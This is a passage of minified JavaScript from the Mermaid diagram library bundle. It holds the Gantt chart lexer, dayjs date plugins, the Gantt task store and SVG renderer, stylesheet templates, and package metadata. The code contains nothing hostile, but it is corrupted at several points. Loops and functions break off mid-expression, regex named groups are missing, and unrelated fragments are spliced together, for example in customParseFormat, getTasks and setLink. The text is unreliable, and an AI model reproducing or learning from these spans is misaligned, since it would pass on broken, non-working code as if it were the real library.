52:return"INVALID"}},"anonymous"),rules:[/^(?:%%\{)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:%%(?!\{)*[^\n]*)/i,/^(?:[^\}]%%*[^\n]*)/i,/^(?:%%*[^\n]*[\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:%[^\n]*)/i,/^(?:href[\s]+["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:call[\s]+)/i,/^(?:\([\s]*\))/i,/^(?:\()/i,/^(?:[^(]*)/i,/^(?:\))/i,/^(?:[^)]*)/i,/^(?:click[\s]+)/i,/^(?:[\s\n])/i,/^(?:[^\s\n]*)/i,/^(?:gantt\b)/i,/^(?:dateFormat\s[^#\n;]+)/i,/^(?:inclusiveEndDates\b)/i,/^(?:topAxis\b)/i,/^(?:axisFormat\s[^#\n;]+)/i,/^(?:tickInterval\s[^#\n;]+)/i,/^(?:includes\s[^#\n;]+)/i,/^(?:excludes\s[^#\n;]+)/i,/^(?:todayMarker\s[^\n;]+)/i,/^(?:weekday\s+monday\b)/i,/^(?:weekday\s+tuesday\b)/i,/^(?:weekday\s+wednesday\b)/i,/^(?:weekday\s+thursday\b)/i,/^(?:weekday\s+friday\b)/i,/^(?:weekday\s+saturday\b)/i,/^(?:weekday\s+sunday\b)/i,/^(?:weekend\s+friday\b)/i,/^(?:weekend\s+saturday\b)/i,/^(?:\d\d\d\d-\d\d-\d\d\b)/i,/^(?:title\s[^\n]+)/i,/^(?:accDescription\s[^#\n;]+)/i,/^(?:section\s[^\n]+)/i,/^(?:[^:\n]+)/i,/^(?::[^#\n;]+)/i,/^(?::)/i,/^(?:$)/i,/^(?:.)/i],conditions:{acc_descr_multiline:{rules:[6,7],inclusive:!1},acc_descr:{rules:[4],inclusive:!1},acc_title:{rules:[2],inclusive:!1},callbackargs:{rules:[21,22],inclusive:!1},callbackname:{rules:[18,19,20],inclusive:!1},href:{rules:[15,16],inclusive:!1},click:{rules:[24,25],inclusive:!1},INITIAL:{rules:[0,1,3,5,8,9,10,11,12,13,14,17,23,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52],inclusive:!0}}};return D})();I.lexer=L;function E(){this.yy={}}return o(E,"Parser"),E.prototype=I,I.Parser=E,new E})();mF.parser=mF;Fge=mF});var zge=Da((gF,yF)=>{"use strict";(function(t,e){typeof gF=="object"&&typeof yF<"u"?yF.exports=e():typeof define=="function"&&define.amd?define(e):(t=typeof globalThis<"u"?globalThis:t||self).dayjs_plugin_isoWeek=e()})(gF,(function(){"use strict";var t="day";return function(e,r,n){var i=o(function(l){return l.add(4-l.isoWeekday(),t)},"a"),a=r.prototype;a.isoWeekYear=function(){return i(this).year()},a.isoWeek=function(l){if(!this.$utils().u(l))return this.add(7*(l-this.isoWeek()),t);var u,h,f,d,p=i(this),m=(u=this.isoWeekYear(),h=this.$u,f=(h?n.utc:n)().year(u).startOf("year"),d=4-f.isoWeekday(),f.isoWeekday()>4&&(d+=7),f.add(d,t));return p.diff(m,"week")+1},a.isoWeekday=function(l){return this.$utils().u(l)?this.day()||7:this.day(this.day()%7?l:l-7)};var s=a.startOf;a.startOf=function(l,u){var h=this.$utils(),f=!!h.u(u)||u;return h.p(l)==="isoweek"?f?this.date(this.date()-(this.isoWeekday()-1)).startOf("day"):this.date(this.date()-1-(this.isoWeekday()-1)+7).endOf("day"):s.bind(this)(l,u)}}}))});var Gge=Da((vF,xF)=>{"use strict";(function(t,e){typeof vF=="object"&&typeof xF<"u"?xF.exports=e():typeof define=="function"&&define.amd?define(e):(t=typeof globalThis<"u"?globalThis:t||self).dayjs_plugin_customParseFormat=e()})(vF,(function(){"use strict";var t={LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},e=/(\[[^[]*\])|([-_:/.,()\s]+)|(A|a|Q|YYYY|YY?|ww?|MM?M?M?|Do|DD?|hh?|HH?|mm?|ss?|S{1,3}|z|ZZ?)/g,r=/\d/,n=/\d\d/,i=/\d\d?/,a=/\d*[^-_:/,()\s\d]+/,s={},l=o(function(g){return(g=+g)+(g>68?1900:2e3)},"a"),u=o(function(g){return function(y){this[g]=+y}},"f"),h=[/[+-]\d\d:?(\d\d)?|Z/,function(g){(this.zone||(this.zone={})).offset=(function(y){if(!y||y==="Z")return 0;var v=y.match(/([+-]|\d\d)/g),x=60*v[1]+(+v[2]||0);return x===0?0:v[0]==="+"?-x:x})(g)}],f=o(function(g){var y=s[g];return y&&(y.indexOf?y:y.s.concat(y.f))},"u"),d=o(function(g,y){var v,x=s.meridiem;if(x){for(var b=1;b<=24;b+=1)if(g.indexOf(x(b,0,y))>-1){v=b>12;break}}else v=g===(y?"pm":"PM");return v},"d"),p={A:[a,function(g){this.afternoon=d(g,!1)}],a:[a,function(g){this.afternoon=d(g,!0)}],Q:[r,function(g){this.month=3*(g-1)+1}],S:[r,function(g){this.milliseconds=100*+g}],SS:[n,function(g){this.milliseconds=10*+g}],SSS:[/\d{3}/,function(g){this.milliseconds=+g}],s:[i,u("seconds")],ss:[i,u("seconds")],m:[i,u("minutes")],mm:[i,u("minutes")],H:[i,u("hours")],h:[i,u("hours")],HH:[i,u("hours")],hh:[i,u("hours")],D:[i,u("day")],DD:[n,u("day")],Do:[a,function(g){var y=s.ordinal,v=g.match(/\d+/);if(this.day=v[0],y)for(var x=1;x<=31;x+=1)y(x).replace(/\[|\]/g,"")===g&&(this.day=x)}],w:[i,u("week")],ww:[n,u("week")],M:[i,u("month")],MM:[n,u("month")],MMM:[a,function(g){var y=f("months"),v=(f("monthsShort")||y.map((function(x){return x.slice(0,3)}))).indexOf(g)+1;if(v<1)throw new Error;this.month=v%12||v}],MMMM:[a,function(g){var y=f("months").indexOf(g)+1;if(y<1)throw new Error;this.month=y%12||y}],Y:[/[+-]?\d+/,u("year")],YY:[n,function(g){this.year=l(g)}],YYYY:[/\d{4}/,u("year")],Z:h,ZZ:h};function m(g){var y,v;y=g,v=s&&s.formats;for(var x=(g=y.replace(/(\[[^\]]+])|(LTS?|l{1,4}|L{1,4})/g,(function(C,R,I){var L=I&&I.toUpperCase();return R||v[I]||t[I]||v[L].replace(/(\[[^\]]+])|(MMMM|MM|DD|dddd)/g,(function(E,D,_){return D||_.slice(1)}))}))).match(e),b=x.length,T=0;T-1)return new Date((M==="X"?1e3:1)*O);var F=m(M)(O),G=F.year,$=F.month,U=F.day,j=F.hours,te=F.minutes,Y=F.seconds,oe=F.milliseconds,J=F.zone,ue=F.week,re=new Date,ee=U||(G||$?1:re.getDate()),Z=G||re.getFullYear(),K=0;G&&!$||(K=$>0?$-1:re.getMonth());var ae,Q=j||0,de=te||0,ne=Y||0,Te=oe||0;return J?new Date(Date.UTC(Z,K,ee,Q,de,ne,Te+60*J.offset*1e3)):P?new Date(Date.UTC(Z,K,ee,Q,de,ne,Te)):(ae=new Date(Z,K,ee,Q,de,ne,Te),ue&&(ae=B(ae).week(ue).toDate()),ae)}catch{return new Date("")}})(S,A,w,v),this.init(),L&&L!==!0&&(this.$L=this.locale(L).$L),I&&S!=this.format(A)&&(this.$d=new Date("")),s={}}else if(A instanceof Array)for(var E=A.length,D=1;D<=E;D+=1){k[1]=A[D-1];var _=v.apply(this,k);if(_.isValid()){this.$d=_.$d,this.$L=_.$L,this.init();break}D===E&&(this.$d=new Date(""))}else b.call(this,T)}}}))});var Vge=Da((bF,TF)=>{"use strict";(function(t,e){typeof bF=="object"&&typeof TF<"u"?TF.exports=e():typeof define=="function"&&define.amd?define(e):(t=typeof globalThis<"u"?globalThis:t||self).dayjs_plugin_advancedFormat=e()})(bF,(function(){"use strict";return function(t,e){var r=e.prototype,n=r.format;r.format=function(i){var a=this,s=this.$locale();if(!this.isValid())return n.bind(this)(i);var l=this.$utils(),u=(i||"YYYY-MM-DDTHH:mm:ssZ").replace(/\[([^\]]+)]|Q|wo|ww|w|WW|W|zzz|z|gggg|GGGG|Do|X|x|k{1,2}|S/g,(function(h){switch(h){case"Q":return Math.ceil((a.$M+1)/3);case"Do":return s.ordinal(a.$D);case"gggg":return a.weekYear();case"GGGG":return a.isoWeekYear();case"wo":return s.ordinal(a.week(),"W");case"w":case"ww":return l.s(a.week(),h==="w"?1:2,"0");case"W":case"WW":return l.s(a.isoWeek(),h==="W"?1:2,"0");case"k":case"kk":return l.s(String(a.$H===0?24:a.$H),h==="k"?1:2,"0");case"X":return Math.floor(a.$d.getTime()/1e3);case"x":return a.$d.getTime();case"z":return"["+a.offsetName()+"]";case"zzz":return"["+a.offsetName("long")+"]";default:return h}}));return n.bind(this)(u)}}}))});function i1e(t,e,r){let n=!0;for(;n;)n=!1,r.forEach(function(i){let a="^\\s*"+i+"\\s*$",s=new RegExp(a);t[0].match(s)&&(e[i]=!0,t.shift(1),n=!0)})}var qge,xo,Wge,Yge,Xge,Uge,eu,SF,CF,AF,d4,p4,_F,DF,B6,ty,LF,jge,RF,m4,NF,MF,F6,wF,YKe,XKe,jKe,KKe,QKe,ZKe,JKe,eQe,tQe,rQe,nQe,iQe,aQe,sQe,oQe,lQe,cQe,uQe,hQe,fQe,dQe,pQe,mQe,Kge,gQe,yQe,vQe,Qge,xQe,kF,Zge,Jge,O6,ey,bQe,TQe,EF,P6,Vi,e1e,wQe,a0,kQe,Hge,EQe,t1e,SQe,r1e,CQe,AQe,n1e,a1e=N(()=>{"use strict";qge=ja(tm(),1),xo=ja(X4(),1),Wge=ja(zge(),1),Yge=ja(Gge(),1),Xge=ja(Vge(),1);pt();Xt();tr();ci();xo.default.extend(Wge.default);xo.default.extend(Yge.default);xo.default.extend(Xge.default);Uge={friday:5,saturday:6},eu="",SF="",AF="",d4=[],p4=[],_F=new Map,DF=[],B6=[],ty="",LF="",jge=["active","done","crit","milestone","vert"],RF=[],m4=!1,NF=!1,MF="sunday",F6="saturday",wF=0,YKe=o(function(){DF=[],B6=[],ty="",RF=[],O6=0,EF=void 0,P6=void 0,Vi=[],eu="",SF="",LF="",CF=void 0,AF="",d4=[],p4=[],m4=!1,NF=!1,wF=0,_F=new Map,Sr(),MF="sunday",F6="saturday"},"clear"),XKe=o(function(t){SF=t},"setAxisFormat"),jKe=o(function(){return SF},"getAxisFormat"),KKe=o(function(t){CF=t},"setTickInterval"),QKe=o(function(){return CF},"getTickInterval"),ZKe=o(function(t){AF=t},"setTodayMarker"),JKe=o(function(){return AF},"getTodayMarker"),eQe=o(function(t){eu=t},"setDateFormat"),tQe=o(function(){m4=!0},"enableInclusiveEndDates"),rQe=o(function(){return m4},"endDatesAreInclusive"),nQe=o(function(){NF=!0},"enableTopAxis"),iQe=o(function(){return NF},"topAxisEnabled"),aQe=o(function(t){LF=t},"setDisplayMode"),sQe=o(function(){return LF},"getDisplayMode"),oQe=o(function(){return eu},"getDateFormat"),lQe=o(function(t){d4=t.toLowerCase().split(/[\s,]+/)},"setIncludes"),cQe=o(function(){return d4},"getIncludes"),uQe=o(function(t){p4=t.toLowerCase().split(/[\s,]+/)},"setExcludes"),hQe=o(function(){return p4},"getExcludes"),fQe=o(function(){return _F},"getLinks"),dQe=o(function(t){ty=t,DF.push(t)},"addSection"),pQe=o(function(){return DF},"getSections"),mQe=o(function(){let t=Hge(),e=10,r=0;for(;!t&&r[\d\w- ]+)/.exec(r);if(i!==null){let s=null;for(let u of i.groups.ids.split(" ")){let h=a0(u);h!==void 0&&(!s||h.endTime>s.endTime)&&(s=h)}if(s)return s.endTime;let l=new Date;return l.setHours(0,0,0,0),l}let a=(0,xo.default)(r,e.trim(),!0);if(a.isValid())return a.toDate();{X.debug("Invalid date:"+r),X.debug("With date format:"+e.trim());let s=new Date(r);if(s===void 0||isNaN(s.getTime())||s.getFullYear()<-1e4||s.getFullYear()>1e4)throw new Error("Invalid date:"+r);return s}},"getStartDate"),Zge=o(function(t){let e=/^(\d+(?:\.\d+)?)([Mdhmswy]|ms)$/.exec(t.trim());return e!==null?[Number.parseFloat(e[1]),e[2]]:[NaN,"ms"]},"parseDuration"),Jge=o(function(t,e,r,n=!1){r=r.trim();let a=/^until\s+(?[\d\w- ]+)/.exec(r);if(a!==null){let f=null;for(let p of a.groups.ids.split(" ")){let m=a0(p);m!==void 0&&(!f||m.startTime{window.open(r,"_self")}),_F.set(n,r))}),t1e(t,"clickable")},"setLink"),t1e=o(function(t,e){t.split(",").forEach(function(r){let n=a0(r);n!==void 0&&n.classes.push(e)})},"setClass"),SQe=o(function(t,e,r){if(ge().securityLevel!=="loose"||e===void 0)return;let n=[];if(typeof r=="string"){n=r.split(/,(?=(?:(?:[^"]*"){2})*[^"]*$)/);for(let a=0;a{qt.runFunc(e,...n)})},"setClickFun"),r1e=o(function(t,e){RF.push(function(){let r=document.querySelector(`[id="${t}"]`);r!==null&&r.addEventListener("click",function(){e()})},function(){let r=document.querySelector(`[id="${t}-text"]`);r!==null&&r.addEventListener("click",function(){e()})})},"pushFun"),CQe=o(function(t,e,r){t.split(",").forEach(function(n){SQe(n,e,r)}),t1e(t,"clickable")},"setClickEvent"),AQe=o(function(t){RF.forEach(function(e){e(t)})},"bindFunctions"),n1e={getConfig:o(()=>ge().gantt,"getConfig"),clear:YKe,setDateFormat:eQe,getDateFormat:oQe,enableInclusiveEndDates:tQe,endDatesAreInclusive:rQe,enableTopAxis:nQe,topAxisEnabled:iQe,setAxisFormat:XKe,getAxisFormat:jKe,setTickInterval:KKe,getTickInterval:QKe,setTodayMarker:ZKe,getTodayMarker:JKe,setAccTitle:Rr,getAccTitle:Mr,setDiagramTitle:$r,getDiagramTitle:Pr,setDisplayMode:aQe,getDisplayMode:sQe,setAccDescription:Ir,getAccDescription:Or,addSection:dQe,getSections:pQe,getTasks:mQe,addTask:wQe,findTaskById:a0,addTaskOrg:kQe,setIncludes:lQe,getIncludes:cQe,setExcludes:uQe,getExcludes:hQe,setClickEvent:CQe,setLink:EQe,getLinks:fQe,bindFunctions:AQe,parseDuration:Zge,isInvalidDate:Kge,setWeekday:gQe,getWeekday:yQe,setWeekend:vQe};o(i1e,"getTaskTags")});var $6,_Qe,s1e,DQe,ah,LQe,o1e,l1e=N(()=>{"use strict";$6=ja(X4(),1);pt();yr();gr();Xt();Ei();_Qe=o(function(){X.debug("Something is calling, setConf, remove the call")},"setConf"),s1e={monday:Ih,tuesday:P5,wednesday:B5,thursday:fc,friday:F5,saturday:$5,sunday:wl},DQe=o((t,e)=>{let r=[...t].map(()=>-1/0),n=[...t].sort((a,s)=>a.startTime-s.startTime||a.order-s.order),i=0;for(let a of n)for(let s=0;s=r[s]){r[s]=a.endTime,a.order=s+e,s>i&&(i=s);break}return i},"getMaxIntersections"),LQe=o(function(t,e,r,n){let i=ge().gantt,a=ge().securityLevel,s;a==="sandbox"&&(s=qe("#i"+e));let l=a==="sandbox"?qe(s.nodes()[0].contentDocument.body):qe("body"),u=a==="sandbox"?s.nodes()[0].contentDocument:document,h=u.getElementById(e);ah=h.parentElement.offsetWidth,ah===void 0&&(ah=1200),i.useWidth!==void 0&&(ah=i.useWidth);let f=n.db.getTasks(),d=[];for(let C of f)d.push(C.type);d=A(d);let p={},m=2*i.topPadding;if(n.db.getDisplayMode()==="compact"||i.displayMode==="compact"){let C={};for(let I of f)C[I.section]===void 0?C[I.section]=[I]:C[I.section].push(I);let R=0;for(let I of Object.keys(C)){let L=DQe(C[I],R)+1;R+=L,m+=L*(i.barHeight+i.barGap),p[I]=L}}else{m+=f.length*(i.barHeight+i.barGap);for(let C of d)p[C]=f.filter(R=>R.type===C).length}h.setAttribute("viewBox","0 0 "+ah+" "+m);let g=l.select(`[id="${e}"]`),y=V5().domain([Y3(f,function(C){return C.startTime}),W3(f,function(C){return C.endTime})]).rangeRound([0,ah-i.leftPadding-i.rightPadding]);function v(C,R){let I=C.startTime,L=R.startTime,E=0;return I>L?E=1:IG.vert===$.vert?0:G.vert?1:-1);let M=[...new Set(C.map(G=>G.order))].map(G=>C.find($=>$.order===G));g.append("g").selectAll("rect").data(M).enter().append("rect").attr("x",0).attr("y",function(G,$){return $=G.order,$*R+I-2}).attr("width",function(){return _-i.rightPadding/2}).attr("height",R).attr("class",function(G){for(let[$,U]of d.entries())if(G.type===U)return"section section"+$%i.numberSectionStyles;return"section section0"}).enter();let P=g.append("g").selectAll("rect").data(C).enter(),B=n.db.getLinks();if(P.append("rect").attr("id",function(G){return G.id}).attr("rx",3).attr("ry",3).attr("x",function(G){return G.milestone?y(G.startTime)+L+.5*(y(G.endTime)-y(G.startTime))-.5*E:y(G.startTime)+L}).attr("y",function(G,$){return $=G.order,G.vert?i.gridLineStartPadding:$*R+I}).attr("width",function(G){return G.milestone?E:G.vert?.08*E:y(G.renderEndTime||G.endTime)-y(G.startTime)}).attr("height",function(G){return G.vert?f.length*(i.barHeight+i.barGap)+i.barHeight*2:E}).attr("transform-origin",function(G,$){return $=G.order,(y(G.startTime)+L+.5*(y(G.endTime)-y(G.startTime))).toString()+"px "+($*R+I+.5*E).toString()+"px"}).attr("class",function(G){let $="task",U="";G.classes.length>0&&(U=G.classes.join(" "));let j=0;for(let[Y,oe]of d.entries())G.type===oe&&(j=Y%i.numberSectionStyles);let te="";return G.active?G.crit?te+=" activeCrit":te=" active":G.done?G.crit?te=" doneCrit":te=" done":G.crit&&(te+=" crit"),te.length===0&&(te=" task"),G.milestone&&(te=" milestone "+te),G.vert&&(te=" vert "+te),te+=j,te+=" "+U,$+te}),P.append("text").attr("id",function(G){return G.id+"-text"}).text(function(G){return G.task}).attr("font-size",i.fontSize).attr("x",function(G){let $=y(G.startTime),U=y(G.renderEndTime||G.endTime);if(G.milestone&&($+=.5*(y(G.endTime)-y(G.startTime))-.5*E,U=$+E),G.vert)return y(G.startTime)+L;let j=this.getBBox().width;return j>U-$?U+j+1.5*i.leftPadding>_?$+L-5:U+L+5:(U-$)/2+$+L}).attr("y",function(G,$){return G.vert?i.gridLineStartPadding+f.length*(i.barHeight+i.barGap)+60:($=G.order,$*R+i.barHeight/2+(i.fontSize/2-2)+I)}).attr("text-height",E).attr("class",function(G){let $=y(G.startTime),U=y(G.endTime);G.milestone&&(U=$+E);let j=this.getBBox().width,te="";G.classes.length>0&&(te=G.classes.join(" "));let Y=0;for(let[J,ue]of d.entries())G.type===ue&&(Y=J%i.numberSectionStyles);let oe="";return G.active&&(G.crit?oe="activeCritText"+Y:oe="activeText"+Y),G.done?G.crit?oe=oe+" doneCritText"+Y:oe=oe+" doneText"+Y:G.crit&&(oe=oe+" critText"+Y),G.milestone&&(oe+=" milestoneText"),G.vert&&(oe+=" vertText"),j>U-$?U+j+1.5*i.leftPadding>_?te+" taskTextOutsideLeft taskTextOutside"+Y+" "+oe:te+" taskTextOutsideRight taskTextOutside"+Y+" "+oe+" width-"+j:te+" taskText taskText"+Y+" "+oe+" width-"+j}),ge().securityLevel==="sandbox"){let G;G=qe("#i"+e);let $=G.nodes()[0].contentDocument;P.filter(function(U){return B.has(U.id)}).each(function(U){var j=$.querySelector("#"+U.id),te=$.querySelector("#"+U.id+"-text");let Y=j.parentNode;var oe=$.createElement("a");oe.setAttribute("xlink:href",B.get(U.id)),oe.setAttribute("target","_top"),Y.appendChild(oe),oe.appendChild(j),oe.appendChild(te)})}}o(b,"drawRects");function T(C,R,I,L,E,D,_,O){if(_.length===0&&O.length===0)return;let M,P;for(let{startTime:j,endTime:te}of D)(M===void 0||jP)&&(P=te);if(!M||!P)return;if((0,$6.default)(P).diff((0,$6.default)(M),"year")>5){X.warn("The difference between the min and max time is more than 5 years. This will cause performance issues. Skipping drawing exclude days.");return}let B=n.db.getDateFormat(),F=[],G=null,$=(0,$6.default)(M);for(;$.valueOf()<=P;)n.db.isInvalidDate($,B,_,O)?G?G.end=$:G={start:$,end:$}:G&&(F.push(G),G=null),$=$.add(1,"d");g.append("g").selectAll("rect").data(F).enter().append("rect").attr("id",j=>"exclude-"+j.start.format("YYYY-MM-DD")).attr("x",j=>y(j.start.startOf("day"))+I).attr("y",i.gridLineStartPadding).attr("width",j=>y(j.end.endOf("day"))-y(j.start.startOf("day"))).attr("height",E-R-i.gridLineStartPadding).attr("transform-origin",function(j,te){return(y(j.start)+I+.5*(y(j.end)-y(j.start))).toString()+"px "+(te*C+.5*E).toString()+"px"}).attr("class","exclude-range")}o(T,"drawExcludeDays");function S(C,R,I,L){let E=n.db.getDateFormat(),D=n.db.getAxisFormat(),_;D?_=D:E==="D"?_="%d":_=i.axisFormat??"%Y-%m-%d";let O=QA(y).tickSize(-L+R+i.gridLineStartPadding).tickFormat(Pd(_)),P=/^([1-9]\d*)(millisecond|second|minute|hour|day|week|month)$/.exec(n.db.getTickInterval()||i.tickInterval);if(P!==null){let B=P[1],F=P[2],G=n.db.getWeekday()||i.weekday;switch(F){case"millisecond":O.ticks(uc.every(B));break;case"second":O.ticks(io.every(B));break;case"minute":O.ticks(ku.every(B));break;case"hour":O.ticks(Eu.every(B));break;case"day":O.ticks(Ro.every(B));break;case"week":O.ticks(s1e[G].every(B));break;case"month":O.ticks(Su.every(B));break}}if(g.append("g").attr("class","grid").attr("transform","translate("+C+", "+(L-50)+")").call(O).selectAll("text").style("text-anchor","middle").attr("fill","#000").attr("stroke","none").attr("font-size",10).attr("dy","1em"),n.db.topAxisEnabled()||i.topAxis){let B=KA(y).tickSize(-L+R+i.gridLineStartPadding).tickFormat(Pd(_));if(P!==null){let F=P[1],G=P[2],$=n.db.getWeekday()||i.weekday;switch(G){case"millisecond":B.ticks(uc.every(F));break;case"second":B.ticks(io.every(F));break;case"minute":B.ticks(ku.every(F));break;case"hour":B.ticks(Eu.every(F));break;case"day":B.ticks(Ro.every(F));break;case"week":B.ticks(s1e[$].every(F));break;case"month":B.ticks(Su.every(F));break}}g.append("g").attr("class","grid").attr("transform","translate("+C+", "+R+")").call(B).selectAll("text").style("text-anchor","middle").attr("fill","#000").attr("stroke","none").attr("font-size",10)}}o(S,"makeGrid");function w(C,R){let I=0,L=Object.keys(p).map(E=>[E,p[E]]);g.append("g").selectAll("text").data(L).enter().append(function(E){let D=E[0].split(tt.lineBreakRegex),_=-(D.length-1)/2,O=u.createElementNS("http://www.w3.org/2000/svg","text");O.setAttribute("dy",_+"em");for(let[M,P]of D.entries()){let B=u.createElementNS("http://www.w3.org/2000/svg","tspan");B.setAttribute("alignment-baseline","central"),B.setAttribute("x","10"),M>0&&B.setAttribute("dy","1em"),B.textContent=P,O.appendChild(B)}return O}).attr("x",10).attr("y",function(E,D){if(D>0)for(let _=0;_{"use strict";RQe=o(t=>` + .mermaid-main-font { + font-family: ${t.fontFamily}; + } + + .exclude-range { + fill: ${t.excludeBkgColor}; + } + + .section { + stroke: none; + opacity: 0.2; + } + + .section0 { + fill: ${t.sectionBkgColor}; + } + + .section2 { + fill: ${t.sectionBkgColor2}; + } + + .section1, + .section3 { + fill: ${t.altSectionBkgColor}; + opacity: 0.2; + } + + .sectionTitle0 { + fill: ${t.titleColor}; + } + + .sectionTitle1 { + fill: ${t.titleColor}; + } + + .sectionTitle2 { + fill: ${t.titleColor}; + } + + .sectionTitle3 { + fill: ${t.titleColor}; + } + + .sectionTitle { + text-anchor: start; + font-family: ${t.fontFamily}; + } + + + /* Grid and axis */ + + .grid .tick { + stroke: ${t.gridColor}; + opacity: 0.8; + shape-rendering: crispEdges; + } + + .grid .tick text { + font-family: ${t.fontFamily}; + fill: ${t.textColor}; + } + + .grid path { + stroke-width: 0; + } + + + /* Today line */ + + .today { + fill: none; + stroke: ${t.todayLineColor}; + stroke-width: 2px; + } + + + /* Task styling */ + + /* Default task */ + + .task { + stroke-width: 2; + } + + .taskText { + text-anchor: middle; + font-family: ${t.fontFamily}; + } + + .taskTextOutsideRight { + fill: ${t.taskTextDarkColor}; + text-anchor: start; + font-family: ${t.fontFamily}; + } + + .taskTextOutsideLeft { + fill: ${t.taskTextDarkColor}; + text-anchor: end; + } + + + /* Special case clickable */ + + .task.clickable { + cursor: pointer; + } + + .taskText.clickable { + cursor: pointer; + fill: ${t.taskTextClickableColor} !important; + font-weight: bold; + } + + .taskTextOutsideLeft.clickable { + cursor: pointer; + fill: ${t.taskTextClickableColor} !important; + font-weight: bold; + } + + .taskTextOutsideRight.clickable { + cursor: pointer; + fill: ${t.taskTextClickableColor} !important; + font-weight: bold; + } + + + /* Specific task settings for the sections*/ + + .taskText0, + .taskText1, + .taskText2, + .taskText3 { + fill: ${t.taskTextColor}; + } + + .task0, + .task1, + .task2, + .task3 { + fill: ${t.taskBkgColor}; + stroke: ${t.taskBorderColor}; + } + + .taskTextOutside0, + .taskTextOutside2 + { + fill: ${t.taskTextOutsideColor}; + } + + .taskTextOutside1, + .taskTextOutside3 { + fill: ${t.taskTextOutsideColor}; + } + + + /* Active task */ + + .active0, + .active1, + .active2, + .active3 { + fill: ${t.activeTaskBkgColor}; + stroke: ${t.activeTaskBorderColor}; + } + + .activeText0, + .activeText1, + .activeText2, + .activeText3 { + fill: ${t.taskTextDarkColor} !important; + } + + + /* Completed task */ + + .done0, + .done1, + .done2, + .done3 { + stroke: ${t.doneTaskBorderColor}; + fill: ${t.doneTaskBkgColor}; + stroke-width: 2; + } + + .doneText0, + .doneText1, + .doneText2, + .doneText3 { + fill: ${t.taskTextDarkColor} !important; + } + + + /* Tasks on the critical line */ + + .crit0, + .crit1, + .crit2, + .crit3 { + stroke: ${t.critBorderColor}; + fill: ${t.critBkgColor}; + stroke-width: 2; + } + + .activeCrit0, + .activeCrit1, + .activeCrit2, + .activeCrit3 { + stroke: ${t.critBorderColor}; + fill: ${t.activeTaskBkgColor}; + stroke-width: 2; + } + + .doneCrit0, + .doneCrit1, + .doneCrit2, + .doneCrit3 { + stroke: ${t.critBorderColor}; + fill: ${t.doneTaskBkgColor}; + stroke-width: 2; + cursor: pointer; + shape-rendering: crispEdges; + } + + .milestone { + transform: rotate(45deg) scale(0.8,0.8); + } + + .milestoneText { + font-style: italic; + } + .doneCritText0, + .doneCritText1, + .doneCritText2, + .doneCritText3 { + fill: ${t.taskTextDarkColor} !important; + } + + .vert { + stroke: ${t.vertLineColor}; + } + + .vertText { + font-size: 15px; + text-anchor: middle; + fill: ${t.vertLineColor} !important; + } + + .activeCritText0, + .activeCritText1, + .activeCritText2, + .activeCritText3 { + fill: ${t.taskTextDarkColor} !important; + } + + .titleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.titleColor||t.textColor}; + font-family: ${t.fontFamily}; + } +`,"getStyles"),c1e=RQe});var h1e={};dr(h1e,{diagram:()=>NQe});var NQe,f1e=N(()=>{"use strict";$ge();a1e();l1e();u1e();NQe={parser:Fge,db:n1e,renderer:o1e,styles:c1e}});var m1e,g1e=N(()=>{"use strict";Uf();pt();m1e={parse:o(async t=>{let e=await bs("info",t);X.debug(e)},"parse")}});var g4,IF=N(()=>{g4={name:"mermaid",version:"11.12.0",description:"Markdown-ish syntax for generating flowcharts, mindmaps, sequence diagrams, class diagrams, gantt charts, git graphs and more.",type:"module",module:"./dist/mermaid.core.mjs",types:"./dist/mermaid.d.ts",exports:{".":{types:"./dist/mermaid.d.ts",import:"./dist/mermaid.core.mjs",default:"./dist/mermaid.core.mjs"},"./*":"./*"},keywords:["diagram","markdown","flowchart","sequence diagram","gantt","class diagram","git graph","mindmap","packet diagram","c4 diagram","er diagram","pie chart","pie diagram","quadrant chart","requirement diagram","graph"],scripts:{clean:"rimraf dist",dev:"pnpm -w dev","docs:code":"typedoc src/defaultConfig.ts src/config.ts src/mermaid.ts && prettier --write ./src/docs/config/setup","docs:build":"rimraf ../../docs && pnpm docs:code && pnpm docs:spellcheck && tsx scripts/docs.cli.mts","docs:verify":"pnpm docs:code && pnpm docs:spellcheck && tsx scripts/docs.cli.mts --verify","docs:pre:vitepress":"pnpm --filter ./src/docs prefetch && rimraf src/vitepress && pnpm docs:code && tsx scripts/docs.cli.mts --vitepress && pnpm --filter ./src/vitepress install --no-frozen-lockfile --ignore-scripts","docs:build:vitepress":"pnpm docs:pre:vitepress && (cd src/vitepress && pnpm run build) && cpy --flat src/docs/landing/ ./src/vitepress/.vitepress/dist/landing","docs:dev":'pnpm docs:pre:vitepress && concurrently "pnpm --filter ./src/vitepress dev" "tsx scripts/docs.cli.mts --watch --vitepress"',"docs:dev:docker":'pnpm docs:pre:vitepress && concurrently "pnpm --filter ./src/vitepress dev:docker" "tsx scripts/docs.cli.mts --watch --vitepress"',"docs:serve":"pnpm docs:build:vitepress && vitepress serve src/vitepress","docs:spellcheck":'cspell "src/docs/**/*.md"',"docs:release-version":"tsx scripts/update-release-version.mts","docs:verify-version":"tsx scripts/update-release-version.mts --verify","types:build-config":"tsx scripts/create-types-from-json-schema.mts","types:verify-config":"tsx scripts/create-types-from-json-schema.mts --verify",checkCircle:"npx madge --circular ./src",prepublishOnly:"pnpm docs:verify-version"},repository:{type:"git",url:"https://github.com/mermaid-js/mermaid"},author:"Knut 